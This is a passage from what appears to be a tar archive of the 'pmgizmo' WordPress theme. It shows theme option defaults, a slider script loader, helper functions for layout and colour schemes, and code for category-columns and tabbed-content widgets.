        'pmth_arc_align_header'	            => 'pmthleft',
        'pmth_grid_width'	                => 'one-column',
        'pmth_grid_column'	                => 'one-col',
        'pmth_arc_align_img'				=> 'alignleft',
        'pmth_arc_img_size'				    => 'pmth-img-thumb',
        'arch_excerpt_length'	            => '55',
        'posts_length' 						=> 'excerpt',
        'excerpt_text'						=> 'Read more',


        // Scroll to Top Settings
		'link_to_top'						=> true,
		'credit_link' 						=> true,

        // FB Meta Graph
        'fb_meta_graph' 					=> true,
        'fb_app_id' 						=> '621021928047856',
        'default_fb_image' 					=> '',
        'wp_emoji' 					        => true,
        'header_code' 					    => '',
        'activate_google_fonts'			    => true,

	);
	return $default_options;
}pmgizmo/inc/customizer/home/slider.php000064400000001636152223213640014134 0ustar00<?php 
/***
 * Custom Slider Parameters
 *
 * Passing Variables from custom Theme Options to the javascript files
 * of featured content slider. 
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Passing Variables to Featured Content Slider ( js/slider.js)
add_action('wp_enqueue_scripts', 'pmthemes_custom_jscript_slider');

if ( ! function_exists( 'pmthemes_custom_jscript_slider' ) ):
function pmthemes_custom_jscript_slider() { 
	
	// Get Theme Options from Database
	$theme_options = pmthemes_theme_options();
	
	// Set Parameters array
	$params = array();
	
	// Define Slider Animation
	if( isset($theme_options['slider_animation']) ) :
		$params['animation'] = esc_js($theme_options['slider_animation']);
	endif;
	
	// Passing Parameters to Javascript
	wp_localize_script( 'pmthemes-jquery-frontpage_slider', 'pmthemes_slider_params', $params );
}
endif;pmgizmo/inc/customizer/home/.htaccess000064400000000000152223213640013717 0ustar00pmgizmo/inc/customizer/helper-functions.php000064400000013533152223213640015206 0ustar00<?php
/**
 * pmthemes
 *
 * This file adds theme helper functions for use elsewhere in PMThemes.
 *
 * @package Pmthemes
 * @author  PMThemes
 * @license GPL-2.0-or-later
 * @link    https://pmthemes.com/
 */

// Define Grid Widths
function pmthemes_grid_widths(){
    $widths = array(
        'one-column'   => __( 'Default', 'pmthemes' ),
        'one-hundred'   => __( '100px', 'pmthemes' ),
        'one-fifty'   => __( '150px', 'pmthemes' ),
        'two-hundred'   => __( '200px', 'pmthemes' ),
        'two-fifty'   => __( '250px', 'pmthemes' ),
        'three-hundred'   => __( '300px', 'pmthemes' ),
        'three-fifty'   => __( '350px', 'pmthemes' ),
        'four-hundred'   => __( '400px', 'pmthemes' ),
        'four-fifty'   => __( '450px', 'pmthemes' ),
        'five-hundred'   => __( '500px', 'pmthemes' ),
    );
    return $widths;
}
// Define Grid Column Nos.
function pmthemes_grid_columns(){
    $columns = array(
        'one-col'   => __( '1 Column', 'pmthemes' ),
        'two-col'   => __( '2 Columns', 'pmthemes' ),
        'three-col'   => __( '3 Columns', 'pmthemes' ),
        'four-col'   => __( '4 Columns', 'pmthemes' ),
        'five-col'   => __( '5 Columns', 'pmthemes' ),
        'six-col'   => __( '6 Columns', 'pmthemes' ),
        'seven-col'   => __( '7 Columns', 'pmthemes' ),
        'eight-col'   => __( '8 Columns', 'pmthemes' ),
        'nine-col'   => __( '9 Columns', 'pmthemes' ),
        'ten-col'   => __( '10 Columns', 'pmthemes' ),
        'eleven-col'   => __( '11 Columns', 'pmthemes' ),
        'twelve-col'   => __( '12 Columns', 'pmthemes' ),
    );
    return $columns;
}
// Define Align Images
function pmthemes_align_images(){
    $imgalign = array(
        'alignleft'   => __( 'Left', 'pmthemes' ),
        'alignright'   => __( 'Right', 'pmthemes' ),
        'aligncenter'   => __( 'Center', 'pmthemes' ),
        'alignnone'   => __( 'None', 'pmthemes' ),
    );
    return $imgalign;
}

// Define Align Elements
function pmthemes_align_elements(){
    $elmalign = array(
        'pmthleft'   => __( 'Left', 'pmthemes' ),
        'pmthrigth'   => __( 'Right', 'pmthemes' ),
        'pmthcenter'   => __( 'Center', 'pmthemes' ),
        'pmthjustify'   => __( 'Justify', 'pmthemes' ),
        'pmthnone'   => __( 'None', 'pmthemes' ),
    );
    return $elmalign;
}
// Define Gradient Direction
function pmthemes_grad_direction(){
    $gradir = array(
        'to bottom'   => __( 'Top to Bottom', 'pmthemes' ),
        'to top'   => __( 'Bottom to Top', 'pmthemes' ),
        'to left'   => __( 'Right to Left', 'pmthemes' ),
        'to right'   => __( 'Left to Right', 'pmthemes' ),
    );
    return $gradir;
}

// Define color scheme choices
function pmthemes_theme_style_keys(){
    $styles = array(
        'colors' => __( 'Default', 'pmthemes' ),
        'bermuda' => __( 'Bermuda Grass', 'pmthemes'),
        'berry' => __( 'Berry', 'pmthemes'),
        'black' => __( 'Black', 'pmthemes'),
        'blackberry' => __( 'Black Berry', 'pmthemes'),
        'blacknblue' => __( 'Black n Blue', 'pmthemes'),
        'blue' => __( 'Blue', 'pmthemes'),
        'blueairforce' => __( 'Blue Air Force', 'pmthemes'),
        'blueberry' => __( 'Blueberry', 'pmthemes'),
        'bluelights' => __( 'Blue Lights', 'pmthemes'),
        'blueline' => __( 'Blueline', 'pmthemes'),
        'blues' => __( 'Blues', 'pmthemes'),
        'carrotman' => __( 'Carrot Man', 'pmthemes'),
        'charcoal' => __( 'Charcoal', 'pmthemes'),
        'chocoberry' => __( 'Cocoberry', 'pmthemes'),
        'chocolate' => __( 'Chocolate', 'pmthemes'),
        'cobalt' => __( 'Cobalt', 'pmthemes'),
        'coolblue' => __( 'Cool Blue', 'pmthemes'),
        'cottoncandy' => __( 'Cotton Candy', 'pmthemes'),
        'countryside' => __( 'Countryside', 'pmthemes'),
        'crimson' => __( 'Crimson', 'pmthemes'),
        'deepblue' => __( 'Deep Blue', 'pmthemes'),
        'fairytail' => __( 'Fairy Tail', 'pmthemes'),
        'fernland' => __( 'Fern Land', 'pmthemes'),
        'fruitella' => __( 'Fruitella', 'pmthemes'),
        'golden' => __( 'Gold Line', 'pmthemes'),
        'green' => __( 'Green', 'pmthemes'),
        'greenline' => __( 'Greenline', 'pmthemes'),
        'greengray' => __( 'Green n Gray', 'pmthemes'),
        'greyorange' => __( 'Greyorange', 'pmthemes'),
        'magenta' => __( 'Magenta', 'pmthemes'),
        'orange' => __( 'Orange', 'pmthemes'),
        'orangefox' => __( 'Orange Fox', 'pmthemes'),
        'orangeline' => __( 'Orangeline', 'pmthemes'),
        'orangina' => __( 'Orangina', 'pmthemes'),
        'pastel-blue' => __( 'Pastel Blue', 'pmthemes'),
        'pink' => __( 'Pink', 'pmthemes'),
        'pinkish' => __( 'Pinkish', 'pmthemes'),
        'pinkpoodle' => __( 'Pink Poodle', 'pmthemes'),
        'pinkred' => __( 'Pink Red', 'pmthemes'),
        'pinky' => __( 'Pinky', 'pmthemes'),
        'pomegranate' => __( 'Pomegranate', 'pmthemes'),
        'purplegreen' => __( 'Purple n Green', 'pmthemes'),
        'purplehaze' => __( 'Purplehaze', 'pmthemes'),
        'red' => __( 'Red', 'pmthemes'),
        'redhotchilipepper' => __( 'Redhotchilipepper', 'pmthemes'),
        'rednblue' => __( 'Red n Blue', 'pmthemes'),
        'redocean' => __( 'Red Ocean', 'pmthemes'),
        'redrock' => __( 'Redrock', 'pmthemes'),
        'redrose' => __( 'Red Rose', 'pmthemes'),
        'redslate' => __( 'Redslate', 'pmthemes'),
        'salsa' => __( 'Salsa', 'pmthemes'),
        'showtime' => __( 'Show Time', 'pmthemes'),
        'simplewish' => __( 'Simple Wish', 'pmthemes'),
        'skylight' => __( 'Skylight', 'pmthemes'),
        'springtime' => __( 'Springtime', 'pmthemes'),
        'starrynights' => __( 'Starry Nights', 'pmthemes'),
        'teblugre' => __( 'Teblugre', 'pmthemes'),
        'tequilasun' => __( 'Tequilasun', 'pmthemes'),
        'walruspink' => __( 'Walrus Pink', 'pmthemes'),
        'white' => __( 'White', 'pmthemes')
    );
    return $styles;
}pmgizmo/inc/widgets/posts-columns.php000064400000026167152223213640014020 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Category Posts Columns Widget
class Pmthemes_Category_Posts_Columns_Widget extends WP_Widget {

	function __construct() {
		// Setup Widget
		parent::__construct(
			'pmthemes_category_posts_columns', // ID
			sprintf( esc_html__( 'PM Home Double Columns', 'pmthemes' )), // Name
			array( 
				'classname' => 'pmthemes_category_posts_columns', 
				'description' => esc_html__( 'For magazine front page. Display posts in 2 columns (1 category per column).', 'pmthemes' ) 
			) // Args
		);
		
		// Delete Widget Cache on certain actions
		add_action( 'save_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'deleted_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'switch_theme', array( $this, 'delete_widget_cache' ) );
		
	}

	public function delete_widget_cache() {
		
		wp_cache_delete('widget_pmthemes_category_posts_columns', 'widget');
		
	}
	
	private function default_settings() {
	
		$defaults = array(
			'title'				=> '',
			'category_one'		=> 0,
			'category_two'		=> 0,
			'number'			=> 3,
			'highlight_post'	=> true,
			'category_titles'	=> false
		);
		
		return $defaults;
		
	}
	
	// Display Widget
	function widget($args, $instance) {

		$cache = array();
				
		// Get Widget Object Cache
		if ( ! $this->is_preview() ) {
			$cache = wp_cache_get( 'widget_pmthemes_category_posts_columns', 'widget' );
		}
		if ( ! is_array( $cache ) ) {
			$cache = array();
		}

		// Display Widget from Cache if exists
		if ( isset( $cache[ $this->id ] ) ) {
			echo $cache[ $this->id ];
			return;
		}
		
		// Start Output Buffering
		ob_start();
		
		// Get Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Add Widget Title Filter
		$widget_title = apply_filters('widget_title', $title, $instance, $this->id_base);
		
		// Output
		echo $before_widget;
	?>
		<div id="widget-category-posts-columns" class="widget-category-posts clearfix">
		
			<?php // Display Title
			if( !empty( $widget_title ) ) { echo $before_title . $widget_title . $after_title; }; ?>
			
			<div class="widget-category-posts-content">
			
				<?php echo $this->render($args, $instance); ?>
				
			</div>
			
		</div>
	<?php
		echo $after_widget;
		
		// Set Cache
		if ( ! $this->is_preview() ) {
			$cache[ $this->id ] = ob_get_flush();
			wp_cache_set( 'widget_pmthemes_category_posts_columns', $cache, 'widget' );
		} else {
			ob_end_flush();
		}
	
	}
	
	// Render Widget Content
	function render($args, $instance) {
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Limit the number of words for the excerpt
		add_filter('excerpt_length', 'pmthemes_frontpage_category_excerpt_length'); ?>
		
		<div class="category-posts-column-left category-posts-columns clearfix">
		
			<?php //Display Category Title
			$this->display_category_title($args, $instance, $category_one); ?>
				
			<?php $this->display_category_posts($instance, $category_one); ?>
			
		</div>
		
		<div class="category-posts-column-right category-posts-columns clearfix">
		
			<?php //Display Category Title
			$this->display_category_title($args, $instance, $category_two); ?>
				
			<?php $this->display_category_posts($instance, $category_two); ?>
			
		</div>
		
		<?php
		// Remove excerpt filter
		remove_filter('excerpt_length', 'pmthemes_frontpage_category_excerpt_length');
		
	}
	
	// Display Category Posts
	function display_category_posts($instance, $category_id) {
	
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Get latest posts from database
		$query_arguments = array(
			'posts_per_page' => (int)$number,
			'ignore_sticky_posts' => true,
			'cat' => (int)$category_id
		);
		$posts_query = new WP_Query($query_arguments);
		$i = 0;

		// Check if there are posts
		if( $posts_query->have_posts() ) :
		
			// Display Posts
			while( $posts_query->have_posts() ) :
				
				$posts_query->the_post(); 
				
				if( $highlight_post == true and (isset($i) and $i == 0) ) : ?>

					<article id="post-<?php the_ID(); ?>" <?php post_class('first-post big-post'); ?>>

						<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('category_posts_wide_thumb', array('class' => 'grow')); ?></a>

						<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>

						<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>

						<div class="entry">
							<?php the_excerpt(); ?>
						</div>

					</article>

				<?php else: ?>

					<article id="post-<?php the_ID(); ?>" <?php post_class('small-post clearfix'); ?>>

					<?php if ( '' != get_the_post_thumbnail() ) : ?>
						<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('category_posts_small_thumb', array('class' => 'grow')); ?></a>
					<?php endif; ?>

						<div class="small-post-content">
							<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
							<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>
						</div>
						<div class="entry">
							<?php the_excerpt(); ?>
						</div>
					</article>

				<?php
				endif; $i++;
				
			endwhile; ?>
				
			<?php

		endif;
		
		// Reset Postdata
		wp_reset_postdata();
		
	}
	
	// Display Postmeta
	function display_postmeta($instance) { ?>
	<?php 
	$theme_options = pmthemes_theme_options();
	if ( isset($theme_options['show_post_dates']) and $theme_options['show_post_dates'] == true ) : ?>
		<span class="meta-date">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="bookmark"><time datetime="%3$s">%4$s</time></a>', 'pmthemes'), 
				esc_url( get_permalink() ),
				esc_attr( get_the_time() ),
				esc_attr( get_the_date( 'c' ) ),
				esc_html( get_the_date() )
			);
		?>
		</span>
		<span class="meta-author">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="author">%3$s</a>', 'pmthemes'), 
				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
				esc_attr( sprintf( esc_html__( 'View all posts by %s', 'pmthemes' ), get_the_author() ) ),
				esc_html( get_the_author() )
			);
		?>
		</span>
	<?php endif;

	}
	
	// Link Widget Title to Category
	function display_category_title($args, $instance, $category_id) {
		
		// Get Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Display Category title if activated
		if( $category_titles == true ) : 
				
			echo $before_title;
			
			// Check if "All Categories" is selected
			if( $category_id == 0 ) :
			
				$link_title = __('View all posts', 'pmthemes');
				$link_name = __('Latest Posts', 'pmthemes');
				
				// Set Link URL to always point to latest posts page
				if ( get_option( 'show_on_front' ) == 'page' ) :
					$link_url = esc_url( get_permalink( get_option('page_for_posts' ) ) );
				else : 
					$link_url =	esc_url( home_url('/') );
				endif;
				
			else :
				
				// Set Link URL and Title for Category
				$link_name = get_cat_name( $category_id );
				$link_title = sprintf( __('View all posts from category %s', 'pmthemes'), $link_name );
				$link_url = esc_url( get_category_link( $category_id ) );
				
			endif;
			
			// Display linked Widget Title
			echo '<a href="'. $link_url .'" title="'. $link_title . '">'. $link_name . '</a>';
			echo '<a class="category-archive-link" href="'. $link_url .'" title="'. $link_title . '"><span class="genericon-next"></span></a>';
		
			echo $after_title; 
				
		endif;

	}

	function update($new_instance, $old_instance) {

		$instance = $old_instance;
		$instance['title'] = sanitize_text_field($new_instance['title']);
		$instance['category_one'] = (int)$new_instance['category_one'];
		$instance['category_two'] = (int)$new_instance['category_two'];
		$instance['number'] = (int)$new_instance['number'];
		$instance['highlight_post'] = !empty($new_instance['highlight_post']);
		$instance['category_titles'] = !empty($new_instance['category_titles']);
		
		$this->delete_widget_cache();
		
		return $instance;
	}

	function form( $instance ) {
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );

?>
		<p>
			<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?>
				<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
			</label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id('category_one'); ?>"><?php _e('Left Category:', 'pmthemes'); ?></label><br/>
			<?php // Display Category One Select
				$args = array(
					'show_option_all'    => __('All Categories', 'pmthemes'),
					'show_count' 		 => true,
					'hide_empty'		 => false,
					'selected'           => $category_one,
					'name'               => $this->get_field_name('category_one'),
					'id'                 => $this->get_field_id('category_one')
				);
				wp_dropdown_categories( $args ); 
			?>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('category_two'); ?>"><?php _e('Right Category:', 'pmthemes'); ?></label><br/>
			<?php // Display Category One Select
				$args = array(
					'show_option_all'    => __('All Categories', 'pmthemes'),
					'show_count' 		 => true,
					'hide_empty'		 => false,
					'selected'           => $category_two,
					'name'               => $this->get_field_name('category_two'),
					'id'                 => $this->get_field_id('category_two')
				);
				wp_dropdown_categories( $args ); 
			?>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts:', 'pmthemes'); ?>
				<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo (int)$number; ?>" size="3" />
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('highlight_post'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $highlight_post ) ; ?> id="<?php echo $this->get_field_id('highlight_post'); ?>" name="<?php echo $this->get_field_name('highlight_post'); ?>" />
				<?php _e('Highlight First Post (Big Image + Excerpt)', 'pmthemes'); ?>
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('category_titles'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $category_titles ) ; ?> id="<?php echo $this->get_field_id('category_titles'); ?>" name="<?php echo $this->get_field_name('category_titles'); ?>" />
				<?php _e('Display Category Titles', 'pmthemes'); ?>
			</label>
		</p>
		
<?php
	}
}
register_widget('Pmthemes_Category_Posts_Columns_Widget');
?>pmgizmo/inc/widgets/tabbed-content.php000064400000045416152223213640014061 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Recent Posts Widget
class Pmthemes_Tabbed_Content_Widget extends WP_Widget {

	var $number = 7;
	var $thumbs = 0;

	function __construct() {
		
		parent::__construct(
			'pmthemes_tabbed_content', // ID
			sprintf( esc_html__( 'PM Tabbed Content', 'pmthemes' )), // Name
			array( 'classname' => 'pmthemes_tabbed_content', 'description' => esc_html__( 'Displays various content with tabs.', 'pmthemes' ) ), // Args
			array( 'width' => 450,  'id_base' => 'pmthemes_tabbed_content' ) // Controls
		);
		
		// Enqueue Javascript for Tabs
		if ( is_active_widget(false, false, $this->id_base) )
			add_action( 'wp_head', array(&$this, 'widget_tabbed_javascript') );

		add_action( 'save_post', array(&$this, 'flush_widget_cache') );
		add_action( 'deleted_post', array(&$this, 'flush_widget_cache') );
		add_action( 'switch_theme', array(&$this, 'flush_widget_cache') );
		add_action( 'comment_post', array(&$this, 'flush_widget_cache') );
		add_action( 'transition_comment_status', array(&$this, 'flush_widget_cache') );
	}

	function widget_tabbed_javascript($args) { ?>
		<script type="text/javascript">
			//<![CDATA[
				jQuery(document).ready(function($) {

					$.fn.tabbedWidget = function( options ) {

						var instance = '#' + options.instance;

						$(instance + ' .widget-tabnavi li a:first').addClass('current-tab'); //add active class to the first li
						$(instance + ' .tabdiv').hide(); //hide all content classes.
						$(instance + ' .tabdiv:first').show(); //show only first div content

						$(instance + ' .widget-tabnavi li a').click(function(){ //add the click function
							$(instance + ' .widget-tabnavi li a').removeClass('current-tab'); //remove current-tab class from previous li
							$(this).addClass('current-tab'); //add current-tab class to the active li.
							$(instance + ' .tabdiv').hide(); //hide all content classes
							var activeTab = $(this).attr('href'); //find the href attribute of the active tab
							$(activeTab).fadeIn('fast'); //fade in the content of active tab
							return false;
						});
					};
				});
			//]]>
		</script>
<?php
	}

	function widget($args, $instance) {
		$cache = wp_cache_get('widget_pmthemes_tabbed', 'widget');

		if ( !is_array($cache) )
			$cache = array();

		if ( ! isset( $args['widget_id'] ) )
			$args['widget_id'] = $this->id;

		if ( isset( $cache[ $args['widget_id'] ] ) ) {
			echo $cache[ $args['widget_id'] ];
			return;
		}

		ob_start();
		extract($args);

		$title = empty($instance['title']) ? '' : apply_filters('widget_title', $instance['title']);

		// Tab Titles
		$tab_one_title = empty( $instance['tab_one_title'] ) ? 'Tab 1' : $instance['tab_one_title'];
		$tab_two_title = empty( $instance['tab_two_title'] ) ? 'Tab 2' : $instance['tab_two_title'];
		$tab_three_title = empty( $instance['tab_three_title'] ) ? 'Tab 3' : $instance['tab_three_title'];
		$tab_four_title = empty( $instance['tab_four_title'] ) ? 'Tab 4' : $instance['tab_four_title'];

		// Tab Contents
		$tab_one_content = empty( $instance['tab_one_content'] ) ? 0 : $instance['tab_one_content'];
		$tab_two_content = empty( $instance['tab_two_content'] ) ? 0 : $instance['tab_two_content'];
		$tab_three_content = empty( $instance['tab_three_content'] ) ? 0 : $instance['tab_three_content'];
		$tab_four_content = empty( $instance['tab_four_content'] ) ? 0 : $instance['tab_four_content'];

		// Other Variables
		if ( empty( $instance['number'] ) || ! $this->number = absint( $instance['number'] ) )
 			$this->number = 10;

		$this->thumbs = (int)$instance['thumbnails'];
		$this->postme = (int)$instance['postmeta'];

		// Output Widget
		echo $before_widget;
		if ( $title ) echo $before_title . $title . $after_title;

		$i = $args['widget_id'];
		echo "<script type=\"text/javascript\">
				//<![CDATA[
					jQuery(document).ready(function($) {
						$('body').tabbedWidget({'instance'  :  '".$i."'});
					});
				//]]>
				</script>";
	?>
		<div class="widget-tabbed">
			<div class="widget-tabnavi">
				<ul class="widget-tabnav">
				<?php if ( $tab_one_content != 0 ) : ?><li><a href="#<?php echo $i; ?>-tabbed-1"><?php echo $tab_one_title; ?></a></li><?php endif; ?>
				<?php if ( $tab_two_content != 0 ) : ?><li><a href="#<?php echo $i; ?>-tabbed-2"><?php echo $tab_two_title; ?></a></li><?php endif; ?>
				<?php if ( $tab_three_content != 0 ) : ?><li><a href="#<?php echo $i; ?>-tabbed-3"><?php echo $tab_three_title; ?></a></li><?php endif; ?>
				<?php if ( $tab_four_content != 0 ) : ?><li><a href="#<?php echo $i; ?>-tabbed-4"><?php echo $tab_four_title; ?></a></li><?php endif; ?>
				</ul>
			</div>


			<?php if ( $tab_one_content != 0 ) : ?><div id="<?php echo $i; ?>-tabbed-1" class="tabdiv"><?php echo $this->widget_content($tab_one_content); ?></div><?php endif; ?>
			<?php if ( $tab_two_content != 0 ) : ?><div id="<?php echo $i; ?>-tabbed-2" class="tabdiv"><?php echo $this->widget_content($tab_two_content); ?></div><?php endif; ?>
			<?php if ( $tab_three_content != 0 ) : ?><div id="<?php echo $i; ?>-tabbed-3" class="tabdiv"><?php echo $this->widget_content($tab_three_content); ?></div><?php endif; ?>
			<?php if ( $tab_four_content != 0 ) : ?><div id="<?php echo $i; ?>-tabbed-4" class="tabdiv"><?php echo $this->widget_content($tab_four_content); ?></div><?php endif; ?>

		</div>

	<?php
		echo $after_widget;

		$cache[$args['widget_id']] = ob_get_flush();
		wp_cache_set('widget_pmthemes_tabbed', $cache, 'widget');
	}

	function widget_content($tab) {

		switch($tab) {

			case 1: // Archives
				$content = '<ul>' . wp_get_archives(apply_filters('pmthemes_widget_tabbed_archives_args', array('type' => 'monthly', 'show_post_count' => 1, 'echo' => 0))) . '</ul>';
			break;

			case 2: // Categories
				$cat_args = array('title_li' => '', 'orderby' => 'name', 'show_count' => 1, 'hierarchical' => false, 'echo' => 0);
				$content = '<ul>' . wp_list_categories(apply_filters('pmthemes_widget_tabbed_categories_args', $cat_args)) . '</ul>';
			break;

			case 3: // Links
				$content = wp_list_bookmarks(apply_filters('pmthemes_widget_tabbed_links_args', array(
						'title_li' => '', 'title_before' => '<span class="widget_links_cat">', 'title_after' => '</span>', 'category_before' => '',
						'category_after' => '', 'show_images' => false, 'show_description' => false, 'show_name' => true, 'show_rating' => false, 'echo' => 0)));
			break;

			case 4: // Meta
				$content = '<ul>' . wp_register('<li>', '</li>', false) . '<li>' . wp_loginout('', false) . '</li>';
				$content .= '<li><a href="'.get_bloginfo('rss2_url').'" title="'.esc_attr(__('Syndicate this site using RSS 2.0', 'pmthemes')).'">'. __('Entries <abbr title="Really Simple Syndication">RSS</abbr>', 'pmthemes').'</a></li>';
				$content .= '<li><a href="'.get_bloginfo('comments_rss2_url').'" title="'.esc_attr(__('The latest comments to all posts in RSS', 'pmthemes')).'">'. __('Comments <abbr title="Really Simple Syndication">RSS</abbr>', 'pmthemes').'</a></li>';
				$content .= '<li><a href="'.esc_url('http://wordpress.org/').'" title="'.esc_attr(__('Powered by WordPress, state-of-the-art semantic personal publishing platform.', 'pmthemes')).'">'. __( 'WordPress.org', 'pmthemes') .'</a></li>';
				$content .= wp_meta() . '</ul>';
			break;

			case 5: // Pages
				$content = '<ul>' . wp_list_pages( apply_filters('pmthemes_widget_tabbed_pages_args', array('title_li' => '', 'echo' => 0) ) ) . '</ul>';
			break;

			case 6: // Popular Posts
				$posts = new WP_Query( apply_filters( 'pmthemes_widget_tabbed_popular_posts_args', array( 'posts_per_page' => $this->number, 'orderby' => 'comment_count', 'order' => 'DESC', 'no_found_rows' => true, 'post_status' => 'publish', 'post__not_in' => array (get_the_ID()), 'ignore_sticky_posts' => true ) ) );
				if ($posts->have_posts()) :
					$content = '<ul>';
					while ($posts->have_posts()) : $posts->the_post();

						if ( $this->thumbs == 1 ) : // add thumbnail
							$content .= '<li class="widget-thumb"><a href="'. get_permalink() .'" title="'. esc_attr(get_the_title() ? get_the_title() : get_the_ID()) .'">'. get_the_post_thumbnail(get_the_ID(), 'widget_post_thumb') .'</a>';
						else:
							$content .= '<li>';
						endif;

						$content .= '<a href="'. get_permalink() .'" title="'. esc_attr(get_the_title() ? get_the_title() : get_the_ID()) .'">';
						if ( get_the_title() ) $content .= get_the_title(); else $content .= get_the_ID();
						$content .= '</a>';

						if ( $this->postme == 1 ) : // add date
							$content .= '<div class="widget-postmeta"><span class="widget-date">'. get_the_time(get_option('date_format')).'</span></div>';
						endif;

						$content .= '</li>';
					endwhile;
					$content .= '</ul>';
				endif;
			break;

			case 7: // Recent Comments
				global $comments, $comment;
				$comments = get_comments( apply_filters( 'pmthemes_widget_tabbed_comments_args', array( 'number' => $this->number, 'status' => 'approve', 'post_status' => 'publish' ) ) );
				$content = '<ul class="widget-tabbed-comments">';
				if ( $comments ) {
					foreach ( (array) $comments as $comment) {
						if ( $this->thumbs == 1 ) : // add avatar
							$content .= '<li class="widget-avatar"><a href="' . esc_url( get_comment_link($comment->comment_ID) ) . '">' . get_avatar( $comment, 55 ) . '</a>';
						else:
							$content .=  '<li>';
						endif;
						$content .=  sprintf(_x('%1$s on %2$s', 'widgets', 'pmthemes'), get_comment_author_link(), '<a href="' . esc_url( get_comment_link($comment->comment_ID) ) . '">' . get_the_title($comment->comment_post_ID) . '</a>') . '</li>';
					}
				}
				$content .= '</ul>';
			break;

			case 8: // Recent Posts
				$posts = new WP_Query( apply_filters( 'pmthemes_widget_tabbed_recent_posts_args', array( 'posts_per_page' => $this->number, 'no_found_rows' => true, 'post_status' => 'publish', 'post__not_in' => array (get_the_ID()), 'ignore_sticky_posts' => true ) ) );
				if ($posts->have_posts()) :
					$content = '<ul>';
					while ($posts->have_posts()) : $posts->the_post();

						if ( $this->thumbs == 1 ) : // add thumbnail
							$content .= '<li class="widget-thumb"><a href="'. get_permalink() .'" title="'. esc_attr(get_the_title() ? get_the_title() : get_the_ID()) .'">'. get_the_post_thumbnail(get_the_ID(), 'widget_post_thumb') .'</a>';
						else:
							$content .= '<li>';
						endif;

						$content .= '<a href="'. get_permalink() .'" title="'. esc_attr(get_the_title() ? get_the_title() : get_the_ID()) .'">';
						if ( get_the_title() ) $content .= get_the_title(); else $content .= get_the_ID();
						$content .= '</a>';

						if ( $this->postme == 1 ) : // add date
							$content .= '<div class="widget-postmeta"><span class="widget-date">'. get_the_time(get_option('date_format')).'</span></div>';
						endif;

						$content .= '</li>';
					endwhile;
					$content .= '</ul>';
				endif;
			break;

			case 9: // Tag Cloud
				$content = '<div class="tagcloud">';
				$content .= wp_tag_cloud( apply_filters('pmthemes_widget_tabbed_tagcloud_args', array('taxonomy' => 'post_tag', 'echo' => false) ) );
				$content .= "</div>\n";
			break;

			default:
				$content = "Please select the Tab Content in the Widget Settings.";
			break;
		}
		return $content;
	}

	function update( $new_instance, $old_instance ) {
		$instance = $old_instance;
		$instance['title'] = isset($new_instance['title']) ? esc_attr($new_instance['title']) : '';

		$instance['tab_one_title'] = strip_tags($new_instance['tab_one_title']);
		$instance['tab_two_title'] = strip_tags($new_instance['tab_two_title']);
		$instance['tab_three_title'] = strip_tags($new_instance['tab_three_title']);
		$instance['tab_four_title'] = strip_tags($new_instance['tab_four_title']);

		$instance['tab_one_content'] = $new_instance['tab_one_content'] ? (int)$new_instance['tab_one_content'] : 0;
		$instance['tab_two_content'] = $new_instance['tab_two_content'] ? (int)$new_instance['tab_two_content'] : 0;
		$instance['tab_three_content'] = $new_instance['tab_three_content'] ? (int)$new_instance['tab_three_content'] : 0;
		$instance['tab_four_content'] = $new_instance['tab_four_content'] ? (int)$new_instance['tab_four_content'] : 0;

		$instance['number'] = (int) $new_instance['number'];
		$instance['thumbnails'] = $new_instance['thumbnails'] ? 1 : 0;
		$instance['postmeta'] = $new_instance['postmeta'] ? 1 : 0;
		$this->flush_widget_cache();

		return $instance;
	}

	function flush_widget_cache() {
		wp_cache_delete('widget_pmthemes_tabbed', 'widget');
	}

	function widget_select_options($tab) {
		$options = '<option ' . selected( $tab, 0 ) .' value="0"></option>
					<option ' . selected( $tab, 1 ) .' value="1">'. __('Archives', 'pmthemes') . '</option>
					<option ' . selected( $tab, 2 ) .' value="2">'. __('Categories', 'pmthemes') . '</option>
					<option ' . selected( $tab, 3 ) .' value="3">'. __('Links', 'pmthemes') . '</option>
					<option ' . selected( $tab, 4 ) .' value="4">'. __('Meta', 'pmthemes') . '</option>
					<option ' . selected( $tab, 5 ) .' value="5">'. __('Pages', 'pmthemes') . '</option>
